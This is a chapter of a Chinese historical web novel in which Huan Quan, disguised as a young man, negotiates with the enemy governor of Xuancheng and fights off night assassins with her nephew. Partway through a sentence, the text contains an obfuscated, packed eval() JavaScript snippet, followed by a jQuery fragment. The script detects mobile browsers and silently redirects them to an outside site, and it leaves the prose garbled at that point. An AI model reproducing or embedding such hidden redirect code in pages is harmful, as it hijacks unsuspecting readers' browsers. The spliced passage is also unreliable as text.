《反派!天命在我》 1. 第一章 前尘 【楔子】 多年之后,当梁朝新帝桓权站临洛水之畔,眼见水流滔滔,思绪却不由飘向远方,环顾四周,只可惜当年故人早已不在。 流离半生,生死师友,故人何逢? 眼前恍惚有一模糊身影,伸出手想去触碰,却如水波般倏忽而逝,喃喃道: “辅嗣,是你吗?” 太和八年,秋九月。 南郡刺史府内上下皆白,一片肃穆,时时可闻哭声阵阵,桓权提着裙摆快速穿过游廊,直入府内正厅。 从江州到南郡,一行水路,但见两岸秋景一片绚丽多姿,山色多彩,北雁南飞。 只是她无心欣赏,自丧乱伊始,心中便惴惴不安,果然如今听闻噩耗,她心中反倒暗松一口气。 一朝丧乱始,青史俱成灰。 乱党占据京都已月余,而朝中动向不明,昔日故友大多身在中朝,如今生死未知。 桓权踏入正厅,目光所及,是兄长桓玑并其他几位从兄子侄,皆面色凄怆,泪痕未干。 桓玑抬眼看向桓权,与其他人的凄惨面容相比,他显然平静许多,只是声音中透着些许疲惫。 “权儿回来了。” “嗯,刚去祭拜过叔父、从兄。” “宣城一事,你以为该当如何?” 桓权沉默片刻,若叔父父子二人皆丧生于逆党之手,反倒是好办。 只可惜他父子二人是不明不白死于自己人手中,如此一来,桓氏一族反倒是不好追究了。 “兄长,我这有江州刺史梁冀书信一封,兄长不如看后再做打算。” 桓权从袖中取出一蜡封的书信,递给桓玑,桓玑阅毕书信后,当即屏退众人,身边只余桓权一人。 “梁将军意欲拉拢宣城郡守?” “兄长以为如何?” “宣城郡守与我等有仇,如何可以?” 桓玑摇摇头,当即否决了梁冀的提议,捏着书信,长叹一声,适逢家族巨变,桓玑一下担起了整个桓氏一族重担。 桓权不答,她知道兄长心中顾虑,宣城郡守才杀害桓氏亲长,桓氏转眼便寻求结盟,此事无论如何都是不可能的。 仅一个“孝”字,便越不过去。 更何况如今死的是朝廷光禄大夫桓修,于国于家,此事都不可能善了。 沉默许久,桓权轻声开口:“我听闻如今朝廷讨伐叛军的义军已至庐江,若能拿下宣城,则不日叛军便可尽数剿灭。” 桓权虽未明说,其话语中的含义桓玑已然明白,错愕中带着几分怒气,道: “你的意思难道还有我桓氏一族低声下气讨好吗?” 桓权只是微微侧过头去,并不答。 “我知你素来与叔父有隙,只是如今叔父被人谋害,伤的是我桓氏一族的脸面和利益,桓权,你莫要错了主意。” 桓权低垂着头颅听着,对于兄长的指责,他并未辩驳。 许久,桓权起身看向窗外,一片素白,府中上下都穿上丧服,死去的那人是他叔父,也是桓氏一族的掌权人,官至光禄大夫,是桓氏一族官禄最为显赫者。 桓权能理解兄长的愤怒,身为桓氏族人,他的确有些惋惜,却也仅仅是惋惜罢了。 “兄长,人总是要向前看的。” 桓权走到榻边,从托盘上拿起牡麻绖的衣物,一抖,随即穿在身上,腰间系上白布,头上系上白带,目无斜视,每一个举动都极其细致,只是说话时目光微微触动,语气却无波无澜。 “你说这话是什么意思?” 桓玑猛然转头看向桓权,他难以相信刚刚那毫无感觉的话是从他最亲近的弟弟嘴里说出来的。 “兄长,叔父已经死了,可桓氏不能就此衰落,莫要忘了父亲当年的遗愿……” “啪!” 桓权话还没说完,就被桓玑扇了一巴掌,桓权捂着脸,只是滚烫中带着麻木,过后一阵疼痛才渐渐蔓延至整个脸庞,桓权抬眼看向桓玑。 桓玑看着自己的手,难以置信,他竟然出手打了自己亲弟弟,当即就后悔了。 那是他看着长大的弟弟,他怎么可以打弟弟呢? 明明心中已经后悔了,桓玑对上桓权的目光,那双清凉的眸子除了震惊外,还有着几分不解。 正要开口道歉的话却怎么也说不出来。 他记得以前的权儿不是这样的,他没那么无情,他会缠着自己给他讲诗文,会跟着自己身后像条小尾巴一样,不吵不闹陪自己处理公事。 是什么时候桓权变得这样无情无义了? 桓玑唯一能想到的就是那群所谓“名士”,他的阿弟素来都是名教守礼之人,只是与那群人往来后,言行愈发放诞不羁,完全不似世家子弟。 不行!长兄如父!他需得好好管教,不能让自己端方贤良的阿弟走错了路! “桓权!我看你是昏了头!” 桓权看着愤怒的桓玑,心中也升起一股怒火,一甩袖,不欲与桓玑争辩,冷笑一声,讥讽道: “腐儒!” 随即转身就走。 桓玑看着桓权的背影,微微发怔,“腐儒?”。 这孩子什么时候气性这么大了? 夜间,桓权为叔父烧了纸,陪着侄儿哭过一回,仰起头看向天空中的繁星。 桓玑在廊下看见桓权,提着酒屏退侍从向桓权走去,桓权发现来人,从栏杆上一跃而下,向桓玑拱手,道: “兄长。” 说完就打算离开。 桓玑忙唤住桓权,道: “你先别走,我们兄弟二人坐下来聊聊吧。” 桓权顿住脚步,拱了拱手,立在桓玑对面,低垂着眉眼,不发一言,桓玑绕到桓权背后,倚着栏杆席地坐了下来,笑道: “还在生气?” “不敢。”桓权的声音闷闷的。 “不敢?而非没有,权儿,你这性子还是一如既往的倔。”桓玑抬眼见桓权还立在那里,低笑一声,道: “还愣着做什么,过来坐。” 桓权坐在桓玑身侧,没说话。 桓玑拔出酒塞子,仰头饮了一大口酒,酒顺着嘴角溢出,流进脖子里,然后将酒递给桓权,桓权愣了一下,接过喝了一小口。 “记得你小时候聪明极了,才刚那么高一点,才学会说话不久,父亲问你志向,你答:封狼居胥,名垂青史。 那时候父亲高兴地举起你说,我桓氏子当有此志! 桓权,父亲一直是以你为傲的。” 桓权猛灌了一口酒,闷闷道: “父亲……我记不太清了。” “父亲离世前,将你托付给我,我答应过父亲,要好好待你。如今看见你这样,我很痛心。” “呵!”桓权突然冷笑一声,反倒让桓玑接下来的话说不出口,看着桓权,道:“父亲离世时,你年纪还小……” “兄长何必拿父亲压我,兄长到底在顾忌什么?兄长比我清楚。 名与实,兄长不能什么都要。” 桓权站起身来,不去理会桓玑的反应,将酒放在桓玑身侧,转身顺着游廊转去,口中唱道: “凤兮!凤兮,自何来?” 桓玑听着桓权清雅中略带萧瑟的歌声,心中一下子空落落的,转身向桓权的背影看去,瘦削的身形仿佛一枝傲竹,临风不弯,霜雪不折。 他知道桓权素来是主意大的,早已不受自己管控。 只是桓权刚刚的话语到底在他心中留下了烙印。 名与实? 桓玑不得不承认,桓权比他更能看清时局,他只是有些不忍罢了。 他桓氏一族刚刚至亲,便要向敌人卑躬屈膝吗? 他桓玑做不出这样的事情! 可若是不这样,又该如何? 桓氏一族素来重孝,尊长去世,他们小辈本该服丧守孝,报仇雪恨才是。 他不能这样做!桓玑在心底这样说。 无论结果如何,他都不能与宣城江氏结盟,他不能背上“不肖子孙”的骂名,桓权也不可以。 名与实,他桓玑要名! 清名流芳,身为桓氏今日的家主,他绝不能冒险行险棋。 一时衰落无妨,他桓氏一族终有复起之时,但若是人心散了,便难了。 桓玑拿起酒猛灌了一口,酒不算烈,甚至还有些许甘甜,只是桓玑还是呛得直咳嗽,眼泪伴随着咳嗽声涌出。 以后,他就是整个桓氏一族的掌权人了! 父亲!叔父!我可以撑起整个桓氏一族吗? 桓权在烛火下看着信件,心中犹疑不定,如今朝中形势危急,她原想借势而起,此后入仕多有裨益。 可兄长态度坚决,她需得想个主意才行。 正在这时,忽然有人敲门,桓权道了一声“请进”,进屋来的是个十三四岁的少年郎,一身重孝,面容清朗坚毅。 “冲儿?你怎么来了?” 桓权有些惊讶,桓冲是他叔父桓修的长孙,因跟随桓玑在荆州求学,才幸免于难。 “小叔父。” 桓冲的眼睛还是红红的,一下子失去两位至亲,可想而知对于一个十多岁的少年,打击会有多大,桓权不由心中微微泛酸,招手让桓冲坐在自己身侧,搂着桓冲,轻拍后背,柔声安慰道: “可怜的孩子,你以后有什么事就给小叔父说,叔父会好生照料你的。” “叔父,我想报仇!” 桓权轻拍的手一顿,推开桓冲,搂着他的肩,有些震惊看着眼前这个不大的少年郎。 桓冲目光淬着仇恨盯着桓权,面容上有着不属于他这个年纪的成熟,嘴唇紧闭,似乎在吞咽着入骨的恨意。 桓权因少年的仇恨,心中也被震撼到了,她似乎小瞧了桓冲。 “你年纪还太小,等长大了……” “小叔父,您和二伯父的谈话我都听到了,我不懂您们商量的那些大事,我只不想祖父和父亲枉死,杀父之仇,若是不报,我桓冲誓不为人!” 桓冲一字一字咬牙切齿地说道,他带着满腔恨意注视着桓权。 至亲之人的枉死,让这个十余岁的少年一瞬间成长起来。 他没有太多的时间去伤心,报仇!成了支撑他活下去的理念。 桓权叹了一口气,摸了摸桓冲的头,心中却缓缓生出一个主意来,注视着眼前跳动的烛火,道: “叔父知道冲儿报仇心切,叔父能够理解冲儿,叔父答应冲儿,有朝一日,一定会让冲儿血刃仇敌的。” 桓冲仰起头,眼中带着一丝难以置信,“真的吗?” “叔父不骗你,只是叔父需要冲儿先帮叔父做件事,冲儿愿意吗?” “嗯嗯。” “叔父想把冲儿祖父和爹爹的尸首都要回来好生安葬,冲儿以为如何?” 桓冲一愣,随即频频点头,道:“好,谢谢小叔父。” 桓权宠溺地揉着桓冲的头发,道:“只是这样暂时就报不了仇了。” “君子报仇,十年不晚。冲儿定要苦练武艺,亲手报仇。冲儿不怕等,祖父和爹的尸首是一定要归于祖坟的。” “冲儿有这样的见识,叔父真的很高兴。” 桓权在桓冲耳边低语了一番,桓冲点点头,只是还有些迟疑,道: “小叔父,这样真的可以吗?” “可以的,一切都有你小叔父在。” 桓冲这才颔首答应下来,起身对桓权恭敬行礼后退出房间。 桓权看着桓冲的背影,长叹一声,她是真心疼这孩子,可乱世之中,最重要的便是自保,其次才是所谓的爱恨情仇。 想到叔父父子被杀,尸首尚在宣城,桓权心中就一阵烦躁。 视死如视生,唯有如此,兄长才会同意她去宣城。 晨曦未明,桓权正在后院练剑,便见桓玑气冲冲而来,身后跟着的正是桓冲。 桓权收剑,从仆役手中拿帕子擦了擦脸上的汗,将剑收入剑鞘,跳过连廊,来到桓玑必经之路上,笑吟吟迎上前,道: “见过兄长,兄长一大早是来找我的吗?” “你少嬉皮笑脸的,我且问你,讨要尸首一事是你提出的?” “正是。” “你疯了?宣城是什么地方?难道江瑎是好惹的?” 桓权一挥手屏退府中仆役,身边只有他们三人,方才道: “兄长难道忍心见叔父尸首在外?死后也不得安稳。” “那也不该你去,我自会遣人去讨要尸首,别以为我不知道你什么心思。” 桓玑甩开桓权的手,冷哼一声警告着桓权,他可太清楚桓权的性子了,要是不严厉警告,谁知道这小子会闹出什么事。 桓权转身将桓冲拉到自己身前,用手掌指着桓冲,笑道: “兄长何不问问冲儿的意思?” “冲儿才多大!桓权,你自己疯也就够了,将冲儿牵扯进来做什么?” 桓玑气急,低声吼道,本来这几日操持丧事,维护桓氏一族内部稳定,桓玑就烦心得很,桓权不给他帮忙就算了,反倒是惹事。 一点都不让人省心。 桓权也不恼,只是攀着桓冲的肩膀,目光灼灼直视着桓玑,道: “兄长可曾听闻,谋士以身入局,可胜天半子。” 桓玑一怔,认真注视着桓权的眼睛,漆黑的眸子中浮动着点点波光。 “看来我是拦不住你了。” “兄长,我们与逆贼早已是势不两立了,若不趁机攫取新的机遇,只怕日后朝堂之上再无我桓氏的位置。” 桓玑微微愣神,他自然明白桓权话语中的含义,只是桓权的计谋太过冒险,他答应过父亲,要护好桓权。 “我已经将荆州人马尽数交予梁将军,你这又是何苦?” “桓氏一族未来不能只有兄长。” 桓玑长叹一声,颔首答应下来,若他仅仅是桓权的兄长,他绝不会放桓权离开,可他是桓氏一族家主,他不得不为家族考虑。 家族延续,朝堂立足,没有选择。 “冲儿,你怕吗?” 在临近宣城时,桓权侧眼看向桓冲,替他整理衣襟,问道。 “不怕,讨要父亲和祖父尸首是为人子应该做的。” “好孩子,一会儿你跟着小叔父就好,一切有小叔父在。” 桓权拍拍桓冲的肩,看着不远处的城郭,强压着内心深处的恐惧和不安,深呼吸,让自己尽快镇定下来。 只带着桓冲和两三个随从,孤身出使宣城,桓权不可能不害怕,毕竟不久前宣城太守江瑎才杀了她江氏掌权人。 透过迷蒙的日光看向宣城城郭,整个城池都笼罩在漫漫黄尘之中,城门口吊着几样东西,远远瞧着,像是几个布袋子,走近了瞧,才发现是几具尸首。 “祖父!父亲!” 桓冲滚下马来,朝着尸首痛哭磕头,声音凄厉,撕破长空。 桓权翻身下马,牵着马来到桓冲身侧,撩袍跪下,对着尸首长拜作揖,道: “叔父,从兄,桓权今日携冲儿来接你们回家。” 三叩首后扶起一旁痛哭的桓冲,道: “走吧,我们去见见宣城郡守。” 桓冲看着城墙上飘摇的几具尸首,心中涌出一股说不出的感觉,她的确不喜欢叔父父子,可看到他们落得这样一个下场,到底还是有些难受的。 乱世之中,命如浮萍。 王侯将相尚且如此,庶民百姓又待如何? “来者何人?” 两人的举动早引起城上守军的注意,见两人逼近城门,城上之人忍不住开口询问。 国家混乱,诸侯征伐,各个郡县各自为势,城门早闭,进出都需查看书房凭引,桓修父子二人正是因身份暴露而被杀。 “颍川桓权携侄桓冲求见宣城太守。” 桓权站在城下高呼。 不一会儿,城门打开,一队兵士随即出城将几人包围,桓权就在兵士的簇拥下前往宣城郡府,路上不少百姓见状,议论纷纷。 至郡府,府中门吏伸手拦住桓权身后仆役,道: “府君有令,只许两位公子进去。” 随即两人就被一推搡,还不待两人反应,大门随即紧闭,桓权听着大门关闭的声音,看着身侧惊慌的桓冲安慰道: “放心,一切有小叔父,走吧。” 刚刚迈进府中庭院,只见一对兵士持戟列成两列,挡住了前方道路,而前方厅堂内正举办宴席,只见数十个锦衣之人正在饮酒作乐,瞧着桓权叔侄二人。 桓权看着前方武库森森,戟戈相交,在阳光下泛着寒光,伴随着她前进的脚步分毫不移,心中明白,这是宣城郡守给她的下马威。 桓权抬眼看向厅上主位上的人,朗声道:“这便是宣城府君的待客之道吗?” 声音不卑不亢,完全没有被眼前横亘的兵器给吓到。 “桓公子,若你现在回去,本官或许还可留你们叔侄一命。” 桓权冷笑一声,道:“若不回了?” “那就请两位公子越戟而过!” 桓权将桓冲护在身后,一步步向锋利的戟戈走去,眼看着那戟刺破衣服,离脖颈不过数寸。 眼前的戟戈猛然收回,桓权就这样一下又一下越过重重戟戈,站在了江瑎面前。 江瑎打量着眼前的少年,身量不算高大,面容却极为清俊,竟比女郎还有秀丽三分,身着孝衣,难掩周身隽雅气质,目光朗朗,似银河辰星,瞧着至多不过十六七岁的年纪。 小小年纪却能临刀剑而不惧,面仇敌而不怒,气质卓绝,江瑎几乎是一瞬间就对眼前的少年郎有了好感。 “你难道不怕死吗?” “小生听闻有德之君不斩孝悌之人,今权与侄求见府君,但为府君能归还亲长尸首,府君乃至德之人,必不会为难我叔侄二人。” 桓权此言说得进退得宜,既给了江瑎面子,明面上给他戴高帽,又在话语中保全了自己叔侄二人的性命。 若是这话过后,江瑎对桓权叔侄二人动手,天下人必然骂声一片。 魏晋时代,东汉遗风还未完全消散,虽然暗地里的龌龊事不少,可明面上大家都还是好面子的。 或许是越缺什么,越喜欢强调什么,魏晋时代,朝廷礼法往往极为重视名教,什么都爱强调一下声名,哪怕那东西本就虚无缥缈。 “哈哈哈!” 江瑎明知桓权是在讥讽自己刚刚恐吓的行为,却还是十分高兴,瞧着桓权伶牙俐齿的模样,心中是越看越喜欢。 弱者的反抗在强者眼中都带着几分可爱的味道。 “带回尸首,可没这么容易。” 江瑎笑够了,眯着眼睛带着威胁对桓权道。 “府君想要什么?” 桓权波澜不惊问道。 “本官看你腰间带剑,正好我府中有一剑客,你若能胜他,本官就允你带回尸首。” “好。” 桓权几乎没有任何犹豫就答应了,身边的桓冲有些担心,上前拉住桓权的手,桓权无声对桓冲摇摇头。 她早就知道宣城一行不会太过顺畅,若是不费一番功夫,怕是事情难成。 “只是除讨要尸首一事,小生还有一事还请府君不妨一听。” “什么?” “不知府君以为今天下当主何人?” 桓权这话问得太过于大胆,以至于在场众人一时噤声,都只怔怔看着桓权,江瑎看着眼前的少年郎,心中也是一阵惊骇,一时猜不透他的目的,只得小心应对,面色阴沉,道: “桓公子这是何意?” “桓某以为今京都虽逆贼猖獗,然义军四起,皆欲讨伐逆贼,以正朝廷纲纪,以护天子正统,不知府君认为桓某所言是否?” 江瑎已经变了脸色,看着桓权的目光也不再是单纯的欣赏,反而多了几分警惕和猜疑。 眼前之人可不是什么任人宰割的小兔子,他可是一只随时可以偷袭的小狐狸。 “你不是来讨要尸首的。” 江瑎几乎可以肯定桓权的目的并不单纯,但他仍觉意外,眼前两个尚未及冠的少年郎,竟有这份胆量深入敌营,说这样威胁的话语。 就算是成年人,也少有人敢如此坦然出使敌营,这两个少年的胆子实在是太大了些。 “你说这话什么意思?是要讨伐本官吗?” 江瑎的反问已经露出森森杀意了,杀掉讨要尸首的孝子的确会惹来骂名,但杀掉刺探消息的间人可不会。 就在江瑎此话一出,那些已经收起的戟戈再次横亘,拦住了桓权离开的去路,只待江瑎一声令下,这些兵士就会冲上去将桓权二人砍成肉泥。 “桓某已然说过,宣城府君是至德之人,有德之人又怎会是逆贼呢?” 桓权轻笑一声,视眼前刀剑利器犹如无物,眼神肃然,完全是在一本正经的胡说八道。 江瑎闻言也轻笑一声,他见过不少年少卓越者,却第一次见到这样面不改色说谎的人,心中嗤笑,道: “不愧是颍川桓氏的公子,今日本官也算长见识了。” 果然是不要脸啊!要不然怎么人家就能当大官,成为首屈一指的世家,果然是家学渊源。 “府君过誉了。” 桓权自然听出江瑎的阴阳,别说他,就连桓冲也听出来了,心中颇为不忿,眼中毫不掩饰对于江瑎恨意,都被桓权一个眼神给瞪了回去。 “府君想必也听闻前线战事胶着,想来近来也是辗转难眠吧?” 桓权不在乎世人如何评说,他只按着自己的节奏来,一步步将江瑎引到自己为他设的话语圈套中来。 宠辱不惊,安然自守。 若非如此,她焉能在这乱世之中成就一番事业。 “看来桓公子猜错了,本官近来睡眠好得很。” 江瑎心中大骇,没想到眼前少年竟能洞若观火,可他并不愿轻易承认,在一个十多岁的小孩面前露了怯。 “府君能得一夕安寝,乃是幸事,只是不知数月后,府君是否还能好眠?” 桓权的目光直视江瑎,一双漆黑的眸子仿佛能直视人心,江瑎第一次在一个少年身上看到了威胁,冷汗不由沁出,连呼吸都渐渐急促起来。 “来人!将这两人推出去斩了!” 江瑎已经意识到再深谈下去,他一定会被眼前少年影响心神,几乎不带一丝犹豫,就唤刀斧手要就地斩杀两人。 闻言桓冲已经将手放在剑柄上,时刻准备出手,桓权却不待刀斧手靠近,哈哈大笑起来,道: “看来我这治失眠的药方,注定是无法得见天日了。” “慢着!” 就在桓权马上就要被推出去时,江瑎终于开口叫停,挥手让刀斧手和院中的兵士都退下,桓冲默默将剑收回剑鞘,眼神狠辣看向江瑎。 “你刚刚那话是什么意思?” 江瑎看向桓权,目光中满是探究,对于眼前少年郎,他已无法等闲视之,这人太聪明,城府颇深。 “前线战事府君应该比桓某更清楚才是,若府君能及时弃暗投明,桓某相信梁大将军一定会十分高兴的。” 桓权笑着从怀中掏出一封盟书递上,江瑎让书令将桓权手中书信拿上来,打开信封一看,脸上明显有多触动。 “当真?” “桓某为府君计,想来府君定会需要这东西的。” “大胆!无知小儿!竟敢在大将军面前胡言乱语!来人!将这两个捣乱的贼子推出去斩了!” 这时一旁坐着的山羊胡中年男人不待江瑎回答,当即就起身要斩杀桓权二人。 “诶!不忙,周主簿,且听听他怎么说,再行处置不迟。” 江瑎很明显已经开始摇摆了,他并不想杀死桓权二人。 “府君,为将者最忌三心二意,别忘了,不久前您可是才处死了朝廷的太仆桓修?这两个小子妖言惑主,分明就是要置府君于死地,还请府君三思。” 周主簿言辞恳切,拱手作揖,江瑎一时摇摆不定。 杀死桓修父子一事,他的确再无退路。 可若真能助梁冀一马,他日叛乱平定,他也可以分一杯羹。 “府君,想来您也不想遗臭万年吧?还是说您真的认为苏钧区区数万人马,真能抵挡住天下义军? 苏钧不过是一寒门小吏出身,侥幸于乱世之中建立功勋,如今朝廷稍有不顺他意,他便举兵造反,这样人就算得到天下,又能坐稳几天了? 更何况苏钧起兵以来,一直困守扬州之地,而四方义军源源不断,剿灭叛军不过是时间问题。” 桓权急急说道,她没有去反驳周主簿的话,反而站在江瑎的角度,句句都是为他考虑,半分没有提及自身,反而增添了不少可信度。 江瑎看着桓权,心中微微颤动,很难想象这番对局势鞭辟入里的分析竟会出自一少年郎之口。 若苏钧必败,那他必将死无葬身之地,他已经上了贼船,现在他后悔了,想要下船,可谁会给他这个机会了? 桓权说苏钧是寒门小吏出身,他江瑎何尝不是出身寒门,若非看不到任何升迁的希望,他也不会被苏钧蛊惑。 光耀门庭,封侯拜相,江瑎也想尝一尝权倾天下的滋味。 苏峻叛乱前为大司马,掌天下兵权,权势滔天,江氏本就依附苏钧,造反这条路自然也跟着苏钧走了上去。 像他们这样的寒门,除了依附世家,无路可选。 苏钧若成,他自然也可官拜九卿,苏钧若败,他只会沦为这场叛乱的陪葬品。 江瑎不愿去想苏钧若败会如何。 成大事者,当断则断! 搏一搏,封妻荫子,名垂青史! 成功的诱惑太大,江瑎愿意一试。 杀死前去桓修时,江瑎没有丝毫犹豫。 这是他给大司马苏钧的投名状。 成大事,总是需要付出些代价的。 只是他没想到义军聚集的会这么快!苏钧的人马压根就不是义军的对手。 “桓权,若本官答应投诚,可以得到什么?” “大将军曾做出承诺,若有及时归返者,不计前嫌;若有郡县援军者,有封侯之赏。” 桓权知道江瑎的心房已经被自己攻破了,上前一步继续说道。 “府君,您可不能被这小子给骗了!大司马久经沙场,怎么可能会败!贱人!竟敢在这诓骗府君,今天我非杀了你不可!” 周主簿见桓权还在说,心中恼火,直接拔出腰间剑就朝桓权脸上辟下去,却发现剑刃停在桓权额头上三寸的地方纹丝不动。 定睛一看才发现,桓权竟然空手接白刃,刀刃划破手掌,鲜血顺着手掌往下落,桓权目光尖锐,瞪着周主簿的眼睛,道: “主簿如此着急杀桓某,到底是为了府君,还是为了自己?” “自然是为了府君?” “是吗?可据我所知,主簿的叔父可在苏钧府中担任掾属,主簿这些年也没少收受贿赂,袒护族人吧。” 桓权抬眼看向周主簿,眼神狠辣,宛如利剑,少年的锋芒是不懂得掩饰的,周主簿被桓权盯着莫名觉得有些心虚。 桓权从周主簿手中夺过白刃,沾血的利剑仍在青石上,发出“哐镗”一声脆响。 “桓权,你不过是一小儿,一介白衣,安知朝廷大事?来人,将人撵出去。” 又有一人起身,指着桓权骂道,一上来就进行人身攻击,桓权看向说话之人,是一着绿衣的中年,蓄着长须,面容瘦削,两颊微陷,人中偏长,颇有些凶恶之像。 “先生所言实在大谬!自古建功不论早,岂因年少轻少年?甘罗十二即拜相,霍去病十八便封侯,桓某虽年轻,却也知忠义二字。 岂不强过先生,空度年华,礼仪皆忘。” 桓权怼起人来半分不让人,直叫一旁的桓冲都要拍手称一个“好”字,叫他看不起人,活该被骂。 “你!哼!”那人一甩袖冷哼一声,道:“无知小儿,我不与你计较。” “小子休要猖狂!我且问你,你既说甘罗之事,不知你一介白衣,有何功绩于朝廷?” “尚无。” “既无寸功于朝廷,何言朝廷大事?” “社稷兴亡,匹夫有责。凡天下有志之人,皆可言朝廷之事。昔日曹刿亦不过微末之人,却能以其志助战鲁国,成一桩美谈。桓某为府君计,有何不可?” 面对接二连三地问难,桓权一一回答,毫无惧色,言辞凿凿,侃侃而谈,直叫主位上的江瑎看了个精彩。 眼见自己这般的谋士接二连三落败,江瑎终于叫停了论战,看着桓权,捻须笑道: “自古英雄出少年,今日见士衡公子,我方知也。” “府君过誉了。” 桓权只躬身作揖,却不见半分卑微,目光灼灼,一场论战下来,他反倒没有了一开始的拘谨,神情舒展,颇为自得。 “士衡公子远道而来,想来必然乏累,不如先请回驿站歇息,待明日本官再行回复公子。” “府君……” 桓权闻言皱眉,上前还要说些什么,这事拖一天便多一天风险,桓权眼见如今利好在己,自然希望当下就能定下来。 江瑎却只挥挥手,神情倦怠,分明是不愿多谈。 桓权见状知是只强求不得,只得悻悻而归。 驿站内,月色洒满中庭,一片银白,宛如水面波光,桓权立于廊下,心中总觉惴惴不安。 兵行险招,桓权也不知结果如何,若是江瑎不愿合作,届时她与桓冲必然有性命之忧。 她观察今日江瑎反应,分明是已经被说动的模样,然而不知为何,却迟迟没有下定决心,而这一晚必然变数颇多。 “小叔父。” 桓冲走上院中石阶,来到桓权身侧,躬身唤道。 “还没睡?” 桓权看了一眼桓冲,问道。 “嗯,睡不着。小叔父也睡不着吗?是因为白日的事吗?” 桓权摸了摸桓冲的脑袋,给桓冲一个温柔的笑容,眨了眨眼睛,道:“害怕了?” “有一点。”桓冲摇摇头,继续道: “不过有小叔父在,冲儿一点都不怕。” “叔父也怕,害怕无法安全带你回去,要是冲儿有事,叔父可就真没面目见你伯父了。” “冲儿相信小叔父。” 桓冲抬起头看着桓权,眼神中是无比坚定的信任,桓权内心微微触动,摩挲着桓冲的头发,笑道: “叔父一定会将冲儿平安带回去的。” “可是冲儿有一事不明。” 桓冲眨眨眼睛,扯着桓权的衣襟,不解道。 “冲儿是想问,为何叔父要拉拢宣城郡守吧。” “嗯。宣城郡守是我们的仇人,他们还将我祖父和父亲的尸首悬挂在城门,这分明就是逆贼,小叔父却还要费口舌与他们辩论,冲儿不懂。” 桓权蹲下身,面对面看着桓冲,眼神柔和,桓权知道这件事若不给桓冲解释清楚,必然会成为桓冲的一个心结,耐心为桓冲解释起来。 “冲儿以为一家与一国,哪一个更重?” “自然是一国。” “是啊,国事为重,江瑎是我桓氏一族的仇人没错,但现在前线战事胶着,若能得宣城郡守之力,平叛就会容易许多,打仗这件事,总是劳民伤财的,越早结束对整个国家来说,自然是越好的。” “可是江瑎似乎并不愿意。” “这才需要使臣劝说啊!在我们到来之前,江瑎并不知道自己还可以有第二种选择,所以才会做出杀害朝廷命官这样的恶事。 江瑎虽不是什么好人,但若是能拉拢他,避免一场战事,难道不是一件好事吗?兵法有云,不战而屈人之兵,谓之上策。” 桓冲闻言点头,迷惘的目光也渐渐清明起来,只是他还有些不能理解的地方,拉着桓权的手臂,道: “只是为何要小叔父来啊?这么危险,白天那剑分明就要劈下来了,冲儿真的很担心。” “不入虎穴焉得虎子,冲儿,很多时候好东西不会摆在那里,任你去取用的,只有费一番功夫,冒一番险,才可能得到。 好东西大家都想要,只看谁更敢豁得出去。” 桓权的目光霎时间变得尖锐狠辣,争!是她能在这乱世立身之本,她不仅要争生存,争名利,更要与整个时代一较高低。 桓冲懵懵懂懂点头,只是看着桓权猛然变化的神情不由畏惧,那是他从未见过的小叔父,锋芒毕露,杀意森然。 “冲儿,你还小,还不太明白这是一个怎样的时代。等你有一天明白时,小叔父希望你不要犹豫,刀必得握在自己手中,机会可不是等来的。 知道为何出使之人必得是我桓氏族人吗?江瑎杀死的是我们桓氏族人,除了我桓氏,谁敢冒得罪我们桓氏的风险出头。 拉拢江瑎是为天下,可这份功劳只能我桓氏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653577|172851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来拿。” 桓冲似懂非懂点点头,他还是没能明白其中的利害关系,可他愿意耐心听桓权为他解释,仰着脑袋,一动不动盯着桓权,听着小叔父为他解释。 “今日是我桓氏出使,此事若成,朝廷可欠下我桓氏一个大人情,这个人情可是笔巨大财富。 凭着这笔财富,冲儿日后仕途必然顺畅。” 桓权嘴角微微上扬,她可不干亏本买卖,这招虽险,胜算却大,收获更是难以衡量。 夜半时分,屋顶传来异响,数十个黑衣人踏着屋顶上的瓦片,翻过高墙,越进院子里来。 桓权侧身躺着榻上,闭目养神,闻声顿时睁开眼睛,怀中抱着的剑,悄声从榻上摸了下去,脚步轻移,唤醒了不远处的桓冲,桓冲当即就要喊叫,被桓权捂住嘴,对其做了个噤声的手势。 几个黑衣人先从窗口吹了些迷烟,过了片刻后,才用刀撬开门闩,随即破门而入,径直来到屋中摆着的两张榻上,直接拿刀砍了下去。 只砍得棉絮飞扬,却不见半分血迹,拉开被子一瞧,里面哪里有什么人影,只是两个枕头。 就在几个黑衣人大惊之时,桓权突然从房梁上突然,拿着剑出其不意接连抹了数人的脖子,速度之快,手段之狠辣,叫人根本来不及反应。 离门口近的两个黑衣人见形势不对,便想夺路而逃,房门却突然被关上,一个少年突然出现在他们身后,毫不留情,直接用手中剑朝两人腰上砍去,两人当即倒在血泊中。 相比于桓权的一剑毙命,这两人明显就要倒霉多了。 桓冲第一次杀人,手段虽是干净利落,力度却不够,再加上对人体熟悉程度不够,只能将人重伤。 听着两人痛苦的哀嚎声,桓权快步来到桓冲身边,握住桓冲的手,在其中一人的心脏上悬住,随即狠狠刺下去,鲜血顿时喷洒而出,溅到桓冲脸上,桓冲本能闭上眼睛,桓权却仿佛一只鬼魅般在他耳边道: “冲儿,杀人需得一击毙命。” 桓权松开握着桓冲的手,看着另一黑衣人,道: “接下来,冲儿该自己做一次示范了!” 语气冷冽,宛如三九寒冰,桓冲还未从初次杀人的震撼中回过神来,桓权的声音便再度响起。 “饶命!饶命啊!我说!我什么都说!” 黑衣人完全被桓权二人的狠辣吓破了胆,一股难闻的气味混杂在浓烈的血腥味中,桓权抬手捂住鼻子,一言不发,只冷冷地看着桓冲。 桓冲颤颤巍巍拿起剑走向另一个卧倒在地上的黑衣人,却迟迟无法举起剑来,犹豫半晌,回头看向桓权,声音带着一丝哭腔。 “叔父,我……我不敢!” 桓权俯下身低声在桓冲耳边道: “想为你父亲报仇吗?想的话就举起剑来朝着心脏刺下去。” “可是……” 